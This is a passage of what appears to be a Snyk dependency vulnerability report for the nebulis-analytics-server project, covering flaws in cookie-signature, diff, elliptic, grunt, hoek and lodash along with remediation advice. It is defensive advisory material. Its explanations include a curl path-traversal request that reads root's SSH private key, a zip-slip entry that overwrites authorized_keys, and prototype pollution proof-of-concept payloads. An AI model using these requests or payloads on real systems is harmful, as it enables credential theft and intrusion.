| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade cookie to version 0.7.0 or higher.
References
medium severity
- Vulnerable module: cookie-signature
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › cookie-signature@1.0.1
Overview
'cookie-signature' is a library for signing cookies.
Versions before 1.0.4 of the library use the built-in string comparison mechanism, ===, and not a time constant string comparison. As a result, the comparison will fail faster when the first characters in the token are incorrect.
An attacker can use this difference to perform a timing attack, essentially allowing them to guess the secret one character at a time.
You can read more about timing attacks in Node.js on the Snyk blog: https://snyk.io/blog/node-js-timing-attack-ccc-ctf/
Remediation
Upgrade to 1.0.4 or greater.
References
medium severity
- Vulnerable module: diff
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3 › diff@3.2.0Remediation: Upgrade to mocha@10.6.0.
Overview
diff is a javascript text differencing implementation.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the parsePatch() and applyPatch() functions if the user input passed without sanitisation. An attacker can cause the process to enter an infinite loop and exhaust system memory by providing a patch with filename headers containing \r, \u2028, or \u2029 characters or having control over patch's patch header for application generated patches.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade diff to version 3.5.1, 4.0.4, 5.2.2, 8.0.3 or higher.
References
medium severity
- Vulnerable module: elliptic
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › browserify-sign@4.2.6 › elliptic@6.6.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › create-ecdh@4.0.4 › elliptic@6.6.1
Overview
elliptic is a fast elliptic-curve cryptography implementation in plain javascript.
Affected versions of this package are vulnerable to Use of a Cryptographic Primitive with a Risky Implementation due to the incorrect computation of the byte-length of k value with leading zeros resulting in its truncation. An attacker can obtain the secret key by analyzing both a faulty signature generated by a vulnerable implementation and a correct signature for the same inputs.
Note:
There is a distinct but related issue CVE-2024-48948.
Remediation
There is no fixed version for elliptic.
References
medium severity
- Vulnerable module: grunt
- Introduced through: grunt@1.0.1 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1Remediation: Upgrade to grunt@1.5.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1Remediation: Upgrade to sails@1.0.0.
Overview
grunt is a JavaScript task runner.
Affected versions of this package are vulnerable to Directory Traversal via creation of a symlink to a restricted file, if a local attacker has write access to the source directory of file.copy
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade grunt to version 1.5.0 or higher.
References
medium severity
- Vulnerable module: hoek
- Introduced through: jsonwebtoken@7.4.3, passport-jwt@2.2.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › jsonwebtoken@7.4.3 › joi@6.10.1 › hoek@2.16.3Remediation: Upgrade to jsonwebtoken@8.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › jsonwebtoken@7.4.3 › joi@6.10.1 › topo@1.1.0 › hoek@2.16.3Remediation: Upgrade to jsonwebtoken@8.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › passport-jwt@2.2.1 › jsonwebtoken@7.4.3 › joi@6.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › hawk@3.1.3 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › passport-jwt@2.2.1 › jsonwebtoken@7.4.3 › joi@6.10.1 › topo@1.1.0 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Open PR to patch hoek@2.16.3.
Overview
hoek is an Utility methods for the hapi ecosystem.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hoek to version 4.2.1, 5.0.3 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.5 or higher.
References
medium severity
- Vulnerable module: messageformat
- Introduced through: sails@0.12.14
Detailed paths
-
